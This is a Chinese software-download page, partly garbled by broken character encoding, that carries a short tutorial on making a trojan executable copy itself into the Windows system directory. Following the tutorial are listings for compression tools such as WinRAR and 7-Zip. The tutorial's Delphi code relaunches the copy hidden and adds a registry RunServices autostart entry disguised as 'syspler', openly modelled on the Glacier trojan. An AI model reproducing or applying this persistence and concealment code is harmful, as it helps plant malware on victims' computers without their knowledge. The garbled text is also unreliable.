Delphi實(shí)現(xiàn)可執(zhí)行文件(木馬)自我拷貝

前往專(zhuān)題相關(guān)軟件相關(guān)文章發(fā)表評(píng)論來(lái)源：本站原創(chuàng)時(shí)間：2010/4/24 16:04:08字體大�。�A-A+

作者：佚名點(diǎn)擊：356次評(píng)論：1次標(biāo)簽：編程

類(lèi)型：壓縮解壓大�。�1.8M語(yǔ)言：中文評(píng)分：5.0
標(biāo)簽：

立即下載

這種方法的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,再退出舊程序.
　　打開(kāi)Delphi,新建一個(gè)工程,在窗口的Create事件中寫(xiě)代碼：
　　procedureTForm1.FormCreate(Sender：TObject);
　　var
myname:string;
　　begin
　　myname:=ExtractFilename(Application.Exename);//獲得文件名
　　ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
　　begin
　　copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{將自己拷貝到Windows\System\下}
　　Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
　　application.Terminate;//退出
　　end;
　　end;
　　其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑.
　　function GetWinDir：String;
　　var
　　Buf：array[0..MAX_PATH]ofchar;
　　begin
　　GetSystemDirectory(Buf,MAX_PATH);
　　Result：=Buf;
　　ifResult[Length(Result)]<>'\'thenResult：=Result+'\';
　　end;
　　如何能使程序能在windows啟動(dòng)時(shí)自動(dòng)啟動(dòng)？
　　為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過(guò)六種途徑來(lái)實(shí)現(xiàn).“冰河”用注冊(cè)表的方式.
　　加入Registry單元,改寫(xiě)上面的窗口Create事件,改寫(xiě)后的程序如下：
　　procedureTForm1.FormCreate(Sender：TObject);
　　constK='\Software\Microsoft\Windows\CurrentVersion\RunServices';
　　varmyname：string;
　　begin
　　{WritebyLovejingtao,http：//Lovejingtao.126.com,Lovejingtao@21cn.com}
　　myname：=ExtractFilename(Application.Exename);//獲得文件名
　　ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
　　begin
　　copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//將自己拷貝到Windows\System\下}
　　Winexec(pchar(GetWindir+myname),sw_hide);//運(yùn)行Windows\System\下的新文件
　　application.Terminate;//退出
　　end;
　　withTRegistry.Createdo
　　try
　　RootKey：=HKEY_LOCAL_MACHINE;
　　OpenKey(K,TRUE);
　　WriteString('syspler',application.ExeName);
　　finally
　　free;
　　end;
　　end;

: (9)winrar; 這款壓縮工具相信大家是很熟悉的了，它能備份你的數(shù)據(jù)，減少你的附件的大小，解壓縮從上下載的和其他格式的壓縮文件，并能創(chuàng)建和格式的壓縮文件。的名稱(chēng)其實(shí)就是版本的壓縮文件管理器。其內(nèi)置程序可以解開(kāi)和等多種類(lèi)型的檔案文件鏡像文件和組合型文件具有歷史記錄和收藏夾等功能，這里給大家提供了的免費(fèi)版下載。...更多>>

下載
winrar免費(fèi)版V5.30 官方正式版
11-26 / 1.8M
推薦理由：WINRAR 是現(xiàn)在最好的壓縮工具，界面友好，使用方便，在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比之 WINZ
下載
WinRAR 64位中文版v4.20 Final 官
06-17 / 1.6M
推薦理由：WinRAR是一個(gè)強(qiáng)大的壓縮文件管理工具。它能備份你的數(shù)據(jù)，減少你的E-mail附件的大小，解壓縮從Internet上下
下載
WinRAR 64位中文破解版5.31 正式版
01-19 / 2M
推薦理由：WinRAR 64位 4.20 正式版烈火漢化。WinRAR 是一個(gè)強(qiáng)大的壓縮文件管理工具。它能備份你的數(shù)據(jù)，減少你的 E-m
下載
winrar 4.20 簡(jiǎn)體中文版烈火版
05-27 / 2.0M
推薦理由：說(shuō)到解壓縮工具，winrar絕對(duì)是一款頂級(jí)軟件，但是平時(shí)大家都是使用原版皮膚，所以我就制作了個(gè)精美皮膚美化
下載
WinRAR4.20 Final 官方英文版
06-14 / 1.4M
推薦理由：WinRAR 4.11正式版官方今天終于發(fā)布了。版本 4.111. 錯(cuò)誤修正:a) WinRAR 不能存儲(chǔ)以 NTFS“壓縮”屬性創(chuàng)建
下載
WinRARV3.93Final 官方正式版
03-23 / 1.8M
推薦理由：WINRAR 是目前流行的壓縮工具，界面友好，使用方便，在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比高，3.x

: (20)rar解壓軟件; 我們?cè)谌粘９ぷ骰蛘呱钪�，有的時(shí)候文件比較多，而且占地方，就會(huì)把它們打包起來(lái)進(jìn)行壓縮，一個(gè)是節(jié)省空間，一個(gè)是便于攜帶。這個(gè)過(guò)程就需要用到解壓軟件，常見(jiàn)的壓縮方式有兩種，一種是格式一種是格式。西西為您帶來(lái)解壓縮軟件官方下載大全。是什么格式是一種流行的壓縮文件格式，你可以用軟件制作文件，或者將其壓縮，而且在壓縮的時(shí)候，可選項(xiàng)是很多的，如，你可以將該壓縮包加密，等等，類(lèi)似的文件類(lèi)型還有等等，它們都是壓縮...更多>>

下載
winrar免費(fèi)版V5.30 官方正式版
11-26 / 1.8M
推薦理由：WINRAR 是現(xiàn)在最好的壓縮工具，界面友好，使用方便，在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比之 WINZ
下載
winrar 4.20 簡(jiǎn)體中文版烈火版
05-27 / 2.0M
推薦理由：說(shuō)到解壓縮工具，winrar絕對(duì)是一款頂級(jí)軟件，但是平時(shí)大家都是使用原版皮膚，所以我就制作了個(gè)精美皮膚美化
下載
PeaZip壓縮解壓軟件V6.3.0 x64綠色
01-03 / 10.0M
推薦理由：PeaZip是一個(gè)壓縮工具，支持其本地Pea格式壓縮（具有壓縮，分割卷，和靈活的加密和完整性檢查計(jì)劃）等主流格
下載
好壓HaoZip4.0.1.9380 純凈版
10-25 / 3.4M
推薦理由：好壓壓縮軟件(HaoZip)是強(qiáng)大的壓縮文件管理器，是完全免費(fèi)的新一代壓縮軟件，相比其它壓縮軟件占用更少的系
下載
便壓壓縮軟件(BIANYA)1.6 官方版
06-28 / 2.2M
推薦理由：便壓是一款永久免費(fèi)、深受用戶(hù)歡迎的解壓縮軟件。獨(dú)特的壓縮和加密算法，對(duì)常用的文本、音樂(lè)、圖像、影音等
下載
輕量級(jí)壓縮軟件(Bandizip)5.15 官
06-24 / 6.2M
推薦理由：Bandizip是一款完全免費(fèi)的壓縮解壓軟件，可制作exe格式自解壓文件、支持unicode字符和批量分割壓縮文件�，F(xiàn)

: (13)壓縮軟件; 西西軟件園提供最好用的壓縮軟件，壓縮軟件的目的就是把文件進(jìn)行最大化的壓縮，而且不損壞文件，現(xiàn)在市場(chǎng)上有很多款的壓縮軟件，各有特色，小編最長(zhǎng)用的就是微軟的.軟件，還有救是推薦國(guó)產(chǎn)的好壓壓縮軟件，壓縮文件快，并且壓縮率高....更多>>

下載
好壓V4.0 官方32/64二合一版
05-15 / 6.1M
推薦理由：獨(dú)家首創(chuàng)對(duì)Zipx格式解壓的完整支持。完美支持Zipx（由WinZip研發(fā)，首創(chuàng)的JPEG圖片高壓縮率算法）格式的解壓
下載
好壓(HaoZip)V5.9 官方最新版
08-31 / 9.9M
推薦理由：好壓壓縮軟件(HaoZip)是強(qiáng)大的壓縮文件管理器，是完全免費(fèi)的新一代壓縮軟件，相比其它壓縮軟件占用更少的系
下載
winrar免費(fèi)版V5.30 官方正式版
11-26 / 1.8M
推薦理由：WINRAR 是現(xiàn)在最好的壓縮工具，界面友好，使用方便，在壓縮率和速度方面都有很好的表現(xiàn)。其壓縮率比之 WINZ
下載
WinRAR 64位中文版v4.20 Final 官
06-17 / 1.6M
推薦理由：WinRAR是一個(gè)強(qiáng)大的壓縮文件管理工具。它能備份你的數(shù)據(jù)，減少你的E-mail附件的大小，解壓縮從Internet上下
下載
7-ZipV4.65 Final 綠色完全漢化版
05-15 / 1.1M
推薦理由：7-zip對(duì)于壓縮大型軟件或者大型游戲的壓縮是很不錯(cuò)的，7.8G的資料可以壓縮成2.3G，壓縮比較還是蠻高。7-Zip
下載
7-Zip 64位版v16.04 多語(yǔ)官方版64b
10-06 / 1.3M
推薦理由：7-Zip是一款號(hào)稱(chēng)有著現(xiàn)今最高壓縮比的壓縮軟件，它不僅支持獨(dú)有的7z文件格式，而且還支持各種其它壓縮文件格